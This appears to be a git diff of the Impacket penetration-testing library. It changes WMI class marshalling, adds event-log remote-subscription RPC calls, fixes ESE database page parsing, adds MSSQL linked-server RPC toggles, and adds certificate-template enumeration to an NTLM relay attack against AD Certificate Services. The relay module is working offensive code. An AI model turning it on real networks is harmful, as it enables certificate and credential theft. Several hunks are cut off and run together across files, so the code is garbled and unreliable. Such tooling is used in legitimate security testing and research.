self.encodingUnit['ObjectBlock'].isInstance() is False: + if not self.encodingUnit['ObjectBlock'].isInstance(): + self.__new_class_name = None + self.__new_attributes = [] self.createMethods(self.getClassName(), self.getMethods()) else: self.createProperties(self.getProperties()) + def setClassName(self, value): + if not self.encodingUnit['ObjectBlock'].isInstance(): + self.__new_class_name = value + else: + raise Exception("Cannot set class name for an instance object.") + + def addNewAttribute(self, name, type, default_value=None): + if not self.encodingUnit['ObjectBlock'].isInstance(): + self.__new_attributes.append((name, type, default_value)) + setattr(self, name, default_value) + else: + raise Exception("Cannot add new attribute to an instance object.") + def __getattr__(self, attr): - if attr.startswith('__') is not True: + if not attr.startswith('__'): properties = self.getProperties() # Let's see if there's a key property so we can ExecMethod keyProperty = None @@ -2375,7 +2405,7 @@ def getObject(self): return self.encodingUnit['ObjectBlock'] def getClassName(self): - if self.encodingUnit['ObjectBlock'].isInstance() is False: + if not self.encodingUnit['ObjectBlock'].isInstance(): return self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass'].getClassName().split(' ')[0] else: return self.encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'].getClassName().split(' ')[0] @@ -2398,111 +2428,274 @@ def __ndEntry(index, null_default, inherited_default): # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmio/ed436785-40fc-425e-ad3d-f9200eb1a122 return (bool(null_default) << 1 | bool(inherited_default)) << (2 * index) + def __createCimTypeQualifierSet(self, heap, propertyInfo): + propertyInfo['PropertyQualifierSet'] = b'' + + qualifierSet = QUALIFIER_SET() + qualifier = QUALIFIER() + qualifier['QualifierName'] = DICTIONARY_REFERENCE_TO_VALUE['CIMTYPE'] | 0x80000000 + qualifier['QualifierFlavor'] = 0 #WBEM_FLAVOR_FLAG_PROPAGATE_O_INSTANCE | WBEM_FLAVOR_FLAG_PROPAGATE_O_DERIVED_CLASS + qualifier['QualifierType'] = CIM_TYPE_ENUM.CIM_TYPE_STRING.value + qualifier.structure = (('QualifierValue', CIM_TYPES_REF[qualifier['QualifierType'] & (~CIM_ARRAY_FLAG)]),) + + qualifierSet['Qualifier'] = qualifier.getData() # for EncodingLength calculation + qualifierSet['EncodingLength'] = len(qualifierSet.getData()) + + # now we set real value for QualifierValue + qualifier['QualifierValue'] = len(heap) + len(propertyInfo) + len(qualifierSet.getData()) + + # set the final qualifier to QUALIFIER_SET + qualifierSet['Qualifier'] = qualifier.getData() + + cimTypeString = ENCODED_STRING() + cimTypeString['Character'] = CIM_TYPE_TO_NAME[propertyInfo['PropertyType']] + return (qualifierSet, cimTypeString) + def marshalMe(self): - # So, in theory, we have the OBJCUSTOM built, but - # we need to update the values - # That's what we'll do - - instanceHeap = b'' - valueTable = b'' - ndTable = 0 - parametersClass = ENCODED_STRING() - parametersClass['Character'] = self.getClassName() - instanceHeap += parametersClass.getData() - curHeapPtr = len(instanceHeap) - properties = self.getProperties() - for i, propName in enumerate(properties): - propRecord = properties[propName] - itemValue = getattr(self, propName) - propIsInherited = propRecord['inherited'] - print("PropName %r, Value: %r" % (propName,itemValue)) - - pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) - if propRecord['type'] & CIM_ARRAY_FLAG: - # Not yet ready - packStr = HEAPREF[:-2] - else: - packStr = CIM_TYPES_REF[pType][:-2] - if propRecord['type'] & CIM_ARRAY_FLAG: - if itemValue is None: - ndTable |= self.__ndEntry(i, True, propIsInherited) - valueTable += pack(packStr, 0) - else: - valueTable += pack('>= 8 + + # Now let's update the structure + objRef = self.get_objRef() + objRef = OBJREF_CUSTOM(objRef) + encodingUnit = ENCODING_UNIT(objRef['pObjectData']) + + currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] + encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = b'' + + encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable + encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 + encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap + + encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType']) + encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass + + encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock']) + objRef['pObjectData'] = encodingUnit + + else: + + objUnit = self.getObject() + classPart = objUnit['ClassType']['CurrentClass']['ClassPart'] + cHeap = classPart['ClassHeap']['HeapItem'] + + ### determine class name + if self.__new_class_name: + classPart['ClassHeader']['ClassNameRef'] = len(cHeap) + className = ENCODED_STRING() + className['Character'] = self.__new_class_name + cHeap += className.getData() + + ### preserve existing properties + existingPropCount = classPart['PropertyLookupTable']['PropertyCount'] + if existingPropCount > 0: + existingNdTableLen = (existingPropCount - 1) // 4 + 1 else: - if itemValue == '': - # https://github.com/fortra/impacket/pull/1069#issuecomment-835179409 - # Force inherited_default to avoid 'obscure' issue in wmipersist.py - ndTable |= self.__ndEntry(i, True, True) - valueTable += pack('>= 8 + cHeap += strIn.getData() + curHeapPtr = len(cHeap) - # Now let's update the structure - objRef = self.get_objRef() - objRef = OBJREF_CUSTOM(objRef) - encodingUnit = ENCODING_UNIT(objRef['pObjectData']) + classPart['ClassHeap']['HeapLength'] = len(cHeap) | 0x80000000 + classPart['ClassHeap']['HeapItem'] = cHeap - currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] - encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = b'' - - encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable - encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 - encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap + totalPropCount = classPart['PropertyLookupTable']['PropertyCount'] + ndTableLen = (totalPropCount - 1) // 4 + 1 if totalPropCount > 0 else 0 + packedNdTable = b'' + for i in range(ndTableLen): + packedNdTable += pack('B', ndTable & 0xff) + ndTable >>= 8 - encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType']) - encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass + classPart['ClassHeader']['NdTableValueTableLength'] = len(packedNdTable + valueTable) + classPart['NdTable_ValueTable'] = packedNdTable + valueTable + # classPart['_NdTable_ValueTable'] = len(classPart['NdTable_ValueTable']) - encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock']) + classPart['ClassHeader']['EncodingLength'] = len(classPart) + objUnit['ClassType']['CurrentClass']['ClassPart'] = classPart - #encodingUnit.dump() - #ENCODING_UNIT(str(encodingUnit)).dump() + self.encodingUnit['ObjectEncodingLength'] = len(objUnit) + # self.encodingUnit['_ObjectBlock'] = len(objUnit) + self.encodingUnit['ObjectBlock'] = objUnit + # self.encodingUnit.dump() - objRef['pObjectData'] = encodingUnit + objRef = self.get_objRef() + objRef = OBJREF_CUSTOM(objRef) + objRef['pObjectData'] = self.encodingUnit return objRef @@ -2517,7 +2710,7 @@ def SpawnInstance(self): instanceData = OBJECT_BLOCK() instanceData.structure += OBJECT_BLOCK.decoration instanceData.structure += OBJECT_BLOCK.instanceType - instanceData['ObjectFlags'] = 6 + instanceData['ObjectFlags'] = CIM_INSTANCE | CIM_DECORATION instanceData['Decoration'] = self.encodingUnit['ObjectBlock']['Decoration'].getData() instanceType = INSTANCE_TYPE() @@ -2555,7 +2748,7 @@ def SpawnInstance(self): elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: # For now we just pack None and set the inherited_default # flag, just in case a parent class defines this for us - valueTable += b'\x00'*4 + valueTable += NULL.getData() ndTable |= self.__ndEntry(i, True, True) else: strIn = ENCODED_STRING() @@ -2666,7 +2859,7 @@ def innerMethod(staticArgs, *args): inParams = OBJECT_BLOCK() inParams.structure += OBJECT_BLOCK.instanceType - inParams['ObjectFlags'] = 2 + inParams['ObjectFlags'] = CIM_INSTANCE inParams['Decoration'] = b'' instanceType = INSTANCE_TYPE() @@ -2811,7 +3004,7 @@ def innerMethod(staticArgs, *args): outParams = OBJECT_BLOCK() outParams.structure += OBJECT_BLOCK.instanceType - outParams['ObjectFlags'] = 2 + outParams['ObjectFlags'] = CIM_CLASS outParams['Decoration'] = b'' instanceType = INSTANCE_TYPE() @@ -3034,16 +3227,25 @@ def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL): def PutClass(self, pObject, lFlags=0, pCtx=NULL): request = IWbemServices_PutClass() - request['pObject'] = pObject + if pObject is NULL: + request['pObject'] = pObject + else: + request['pObject']['ulCntData'] = len(pObject) + request['pObject']['abData'] = list(pObject.getData()) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) - resp.dump() - return resp + return IWbemCallResult( + INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL): request = IWbemServices_PutClassAsync() - request['pObject'] = pObject + if pObject is NULL: + request['pObject'] = pObject + else: + request['pObject']['ulCntData'] = len(pObject) + request['pObject']['abData'] = list(pObject.getData()) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) @@ -3056,8 +3258,9 @@ def DeleteClass(self, strClass, lFlags=0, pCtx=NULL): request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) - resp.dump() - return resp + return IWbemCallResult( + INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteClassAsync() @@ -3149,7 +3352,6 @@ def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): resp.dump() return resp - #def ExecQuery(self, strQuery, lFlags=WBEM_QUERY_FLAG_TYPE.WBEM_FLAG_PROTOTYPE, pCtx=NULL): def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecQuery() request['strQueryLanguage']['asData'] = checkNullString('WQL') @@ -3192,7 +3394,7 @@ def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): resp.dump() return resp - def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams = NULL): + def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams=NULL): request = IWbemServices_ExecMethod() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['strMethodName']['asData'] = checkNullString(strMethodName) diff --git a/impacket/dcerpc/v5/even6.py b/impacket/dcerpc/v5/even6.py index 7d1d98f845..a45f52393a 100644 --- a/impacket/dcerpc/v5/even6.py +++ b/impacket/dcerpc/v5/even6.py @@ -59,6 +59,15 @@ def checkNullString(string): # CONSTANTS ################################################################################ +# Evt Subscribe Flags +EvtSubscribeToFutureEvents = 0x00000001 +EvtSubscribeStartAtOldestRecord = 0x00000002 +EvtSubscribeStartAfterBookmark = 0x00000004 + +EvtSubscribeTolerateQueryErrors = 0x00001000 +EvtSubscribeStrict = 0x00010000 +EvtSubscribePull = 0x10000000 + # Evt Path Flags EvtQueryChannelName = 0x00000001 EvtQueryFilePath = 0x00000002 @@ -88,6 +97,7 @@ def __init__(self, data=None, isNDR64=False): def isNull(self): return self['context_handle_uuid'] == b'\x00'*16 +CONTEXT_HANDLE_REMOTE_SUBSCRIPTION = handle_t CONTEXT_HANDLE_LOG_HANDLE = handle_t @@ -170,6 +180,27 @@ class LPBYTE_ARRAY(NDRPOINTER): class ULONG_ARRAY(NDRUniVaryingArray): item = ULONG +# UniConformant Pointer Array for DWORDs +class PCDWORD_ARRAY(NDRPOINTER): + referent = ( + ('Data', CDWORD_ARRAY), + ) + +class PDWORD_ARRAY(PCDWORD_ARRAY): + pass + +# UniConformant Pointer Array for BYTEs +class BYTE_ARRAY_CONFORMANT(NDRUniConformantArray): + item = 'c' + +class PBYTE_ARRAY_CONFORMANT(NDRPOINTER): + referent = ( + ('Data', BYTE_ARRAY_CONFORMANT), + ) + +class PBYTE_ARRAY(PBYTE_ARRAY_CONFORMANT): + pass + # 2.3.1 EVENT_DESCRIPTOR class EVENT_DESCRIPTOR(NDRSTRUCT): structure = ( @@ -212,6 +243,43 @@ class RESULT_SET(NDRSTRUCT): # RPC CALLS ################################################################################ +class EvtRpcRegisterRemoteSubscription(NDRCALL): + opnum = 0 + structure = ( + ('channelPath', LPWSTR), + ('query', WSTR), + ('bookmarkXml', LPWSTR), + ('Flags', DWORD), + ) + +class EvtRpcRegisterRemoteSubscriptionResponse(NDRCALL): + structure = ( + ('Handle', CONTEXT_HANDLE_REMOTE_SUBSCRIPTION), + ('OpControl', CONTEXT_HANDLE_OPERATION_CONTROL), + ('QueryChannelInfoSize', DWORD), + ('QueryChannelInfo', EvtRpcQueryChannelInfoArray), + ('Error', RPC_INFO), + ) + +class EvtRpcRemoteSubscriptionNext(NDRCALL): + opnum = 2 + structure = ( + ('Handle', CONTEXT_HANDLE_REMOTE_SUBSCRIPTION), + ('NumRequestedRecords', DWORD), + ('TimeOut', DWORD), + ('Flags', DWORD), + ) + +class EvtRpcRemoteSubscriptionNextResponse(NDRCALL): + structure = ( + ('NumActualRecords', DWORD), + ('EventDataIndices', PDWORD_ARRAY), + ('EventDataSizes', PDWORD_ARRAY), + ('ResultBufferSize', DWORD), + ('ResultBuffer', PBYTE_ARRAY), + ('ErrorCode', ULONG), + ) + class EvtRpcRegisterControllableOperation(NDRCALL): opnum = 4 structure = () @@ -344,6 +412,8 @@ class EvtRpcGetChannelListResponse(NDRCALL): ################################################################################ OPNUMS = { + 0 : (EvtRpcRegisterRemoteSubscription, EvtRpcRegisterRemoteSubscriptionResponse), + 2 : (EvtRpcRemoteSubscriptionNext, EvtRpcRemoteSubscriptionNextResponse), 4 : (EvtRpcRegisterControllableOperation, EvtRpcRegisterControllableOperationResponse), 5 : (EvtRpcRegisterLogQuery, EvtRpcRegisterLogQueryResponse), 6 : (EvtRpcClearLog, EvtRpcClearLogResponse), @@ -359,6 +429,24 @@ class EvtRpcGetChannelListResponse(NDRCALL): # HELPER FUNCTIONS ################################################################################ +def hEvtRpcRegisterRemoteSubscription(dce, channelPath, query, bookmarkXml, flags): + request = EvtRpcRegisterRemoteSubscription() + request['channelPath'] = checkNullString(channelPath) + request['query'] = checkNullString(query) + request['bookmarkXml'] = checkNullString(bookmarkXml) + request['Flags'] = flags + resp = dce.request(request) + return resp + +def hEvtRpcRemoteSubscriptionNext(dce, handle, numRequestedRecords, timeOut=1000, flags=0): + request = EvtRpcRemoteSubscriptionNext() + request['Handle'] = handle + request['NumRequestedRecords'] = numRequestedRecords + request['TimeOut'] = timeOut + request['Flags'] = flags + resp = dce.request(request) + return resp + def hEvtRpcRegisterControllableOperation(dce): request = EvtRpcRegisterControllableOperation() resp = dce.request(request) diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py index 5e0bb28c1f..0ae928ae3d 100644 --- a/impacket/dcerpc/v5/samr.py +++ b/impacket/dcerpc/v5/samr.py @@ -1399,10 +1399,39 @@ class USER_PROPERTIES(Structure): ('Reserved3',' 12: - break - data = data[offset+2:] - arrayOffset = arrayOffset + offset + 2 - procInfo = '' - while len(data)>1: - if len(data[len(procInfo):]) < 16: - break - # I think there some alignment problems... - # in the structure, second DWORD is thread count, i'm looking for the second DWORD - # in order to align the data correctly - # There is no proper errors handling! - b,c,d,e = struct.unpack('= 0x11 and self.__DBHeader['PageSize'] > 8192: + self.tagReserved = (self.record['FirstAvailablePageTag'] >> FIRST_AVAILABLE_PAGE_TAG_RESERVED_SHIFT) or 1 + self.tagCount = self.record['FirstAvailablePageTag'] & FIRST_AVAILABLE_PAGE_TAG_MASK + self.firstDataTag = min(self.tagReserved, self.tagCount) + + def iterDataTagNums(self): + return range(self.firstDataTag, self.tagCount) def printFlags(self): flags = self.record['PageFlags'] @@ -471,14 +481,14 @@ def printFlags(self): def dump(self): baseOffset = len(self.record) self.record.dump() - tags = self.data[-4*self.record['FirstAvailablePageTag']:] + tags = self.data[-4*self.tagCount:] print("FLAGS: ") self.printFlags() print() - for i in range(self.record['FirstAvailablePageTag']): + for i in range(self.tagCount): tag = tags[-4:] if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] > 11 and self.__DBHeader['PageSize'] > 8192: valueSize = unpack(' 0: # Leaf page @@ -684,7 +694,7 @@ def parseCatalog(self, pageNum): page = self.getPage(pageNum) self.parsePage(page) - for i in range(1, page.record['FirstAvailablePageTag']): + for i in page.iterDataTagNums(): flags, data = page.getTag(i) if page.record['PageFlags'] & FLAGS_LEAF == 0: # Branch page @@ -727,10 +737,10 @@ def openTable(self, tableName): done = False while done is False: page = self.getPage(pageNum) - if page.record['FirstAvailablePageTag'] <= 1: + if page.tagCount <= page.firstDataTag: # There are no records done = True - for i in range(1, page.record['FirstAvailablePageTag']): + for i in page.iterDataTagNums(): flags, data = page.getTag(i) if page.record['PageFlags'] & FLAGS_LEAF == 0: # Branch page, move on to the next page @@ -745,7 +755,7 @@ def openTable(self, tableName): cursor['TableData'] = self.__tables[tableName] cursor['FatherDataPageNumber'] = catalogEntry['FatherDataPageNumber'] cursor['CurrentPageData'] = page - cursor['CurrentTag'] = 0 + cursor['CurrentTag'] = page.firstDataTag - 1 return cursor else: return None @@ -753,7 +763,7 @@ def openTable(self, tableName): def __getNextTag(self, cursor): page = cursor['CurrentPageData'] - if cursor['CurrentTag'] >= page.record['FirstAvailablePageTag']: + if cursor['CurrentTag'] >= page.tagCount: # No more data in this page, chau return None @@ -787,7 +797,7 @@ def getNextRow(self, cursor, filter_tables = None): return None else: cursor['CurrentPageData'] = self.getPage(page.record['NextPageNumber']) - cursor['CurrentTag'] = 0 + cursor['CurrentTag'] = cursor['CurrentPageData'].firstDataTag - 1 return self.getNextRow(cursor, filter_tables = filter_tables) else: return self.__tagToRecord(cursor, tag['EntryData'], filter_tables = filter_tables) diff --git a/impacket/examples/logger.py b/impacket/examples/logger.py index 7a412cd871..c88fd5e6da 100644 --- a/impacket/examples/logger.py +++ b/impacket/examples/logger.py @@ -43,6 +43,8 @@ def format(self, record): else: record.bullet = '[-]' + if not hasattr(record, 'identity'): record.identity = '' + return logging.Formatter.format(self, record) class ImpacketFormatterTimeStamp(ImpacketFormatter): @@ -74,4 +76,4 @@ def init(ts=False, debug=False): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) \ No newline at end of file + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) diff --git a/impacket/examples/mssqlshell.py b/impacket/examples/mssqlshell.py index 90cfd2fdc6..f719c01974 100644 --- a/impacket/examples/mssqlshell.py +++ b/impacket/examples/mssqlshell.py @@ -69,6 +69,8 @@ def do_help(self, line): xp_dirtree {path} - executes xp_dirtree on the path sp_start_job {cmd} - executes cmd using the sql server agent (blind) use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step) + enable_rpc {link} - enable RPC Out for a linked server + disable_rpc {link} - disable RPC Out for a linked server ! {cmd} - executes a local shell cmd upload {from} {to} - uploads file {from} to the SQLServer host {to} download {from} {to} - downloads file from the SQLServer host {from} to {to} @@ -296,6 +298,30 @@ def do_enum_links(self, line): self.print_replies() self.sql.printRows() + def do_enable_rpc(self, s): + """Enable RPC Out for a linked server to allow executing stored procedures remotely.""" + if not s: + print("[-] Usage: enable_rpc ") + return + try: + self.sql_query("EXEC sp_serveroption @server='%s', @optname='rpc out', @optvalue='true'" % s) + self.print_replies() + self.sql.printRows() + except: + pass + + def do_disable_rpc(self, s): + """Disable RPC Out for a linked server.""" + if not s: + print("[-] Usage: disable_rpc ") + return + try: + self.sql_query("EXEC sp_serveroption @server='%s', @optname='rpc out', @optvalue='false'" % s) + self.print_replies() + self.sql.printRows() + except: + pass + def do_enum_users(self, line): self.sql_query("EXEC sp_helpuser") self.print_replies() diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py index 27cb784146..a57eda1ebf 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -19,6 +19,7 @@ import base64 import os from OpenSSL import crypto +import urllib.parse from cryptography import x509 from cryptography.hazmat.primitives.serialization import pkcs12 @@ -45,11 +46,44 @@ def _run(self): if self.username in ELEVATED: LOG.info('Skipping user %s since attack was already performed' % self.username) return + + if self.config.enumTemplates: + templates = self.enum_templates() + if templates is None: + return + # Print the parsed results + for entry in templates: + try: + LOG.info(f' - {entry["REALNAME"]}') + LOG.debug(f' - KEYSPEC: {entry["KEYSPEC"]}') + LOG.debug(f' - KEYFLAG: {entry["KEYFLAG"]}') + LOG.debug(f' - ENROLLFLAG: {entry["ENROLLFLAG"]}') + LOG.debug(f' - PRIVATEKEYFLAG: {entry["PRIVATEKEYFLAG"]}') + LOG.debug(f' - SUBJECTFLAG: {entry["SUBJECTFLAG"]}') + LOG.debug(f' - RASIGNATURE: {entry["RASIGNATURE"]}') + LOG.debug(f' - CSPLIST: {entry["CSPLIST"]}') + LOG.debug(f' - EXTOID: {entry["EXTOID"]}') + LOG.debug(f' - EXTMAJ: {entry["EXTMAJ"]}') + LOG.debug(f' - EXTFMIN: {entry["EXTFMIN"]}') + LOG.debug(f' - EXTMIN: {entry["EXTMIN"]}') + LOG.debug(f' - FRIENDLYNAME: {entry["FRIENDLYNAME"]}') + except KeyError: + LOG.info(f' - {entry}') + LOG.info("Certificate enumeration complete!") + return current_template = self.config.template if current_template is None: current_template = "Machine" if self.username.endswith("$") else "User" + # Template name might be UTF-8 + original_template = current_template + current_template = urllib.parse.quote(current_template) + if current_template == original_template: + LOG.info('Using template name: %s' % current_template) + else: + LOG.info('Using template name: %s (%s)' % (current_template, original_template)) + csr = self.generate_csr(key, self.username, self.config.altName) csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") LOG.info("CSR generated!") @@ -140,6 +174,57 @@ def generate_certattributes(template, altName): if altName: return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName) return "CertificateTemplate:{}".format(template) + + def enum_templates(self): + enum_headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive" + } + + # Key mapping for parsing + KEY_MAPPING = { + 0: "OFFLINE", + 1: "REALNAME", + 2: "KEYSPEC", + 3: "KEYFLAG", + 4: "ENROLLFLAG", + 5: "PRIVATEKEYFLAG", + 6: "SUBJECTFLAG", + 7: "RASIGNATURE", + 8: "CSPLIST", + 9: "EXTOID", + 10: "EXTMAJ", + 11: "EXTFMIN", + 12: "EXTMIN", + 13: "FRIENDLYNAME", + } + + LOG.info("Enumerating certificates") + self.client.request("GET", "/certsrv/certrqxt.asp", headers=enum_headers) + response = self.client.getresponse() + content = response.read() + if response.status != 200: + LOG.error("Error enumerating certificate templates! HTTP %d" % response.status) + return None + option_lines = re.findall(r"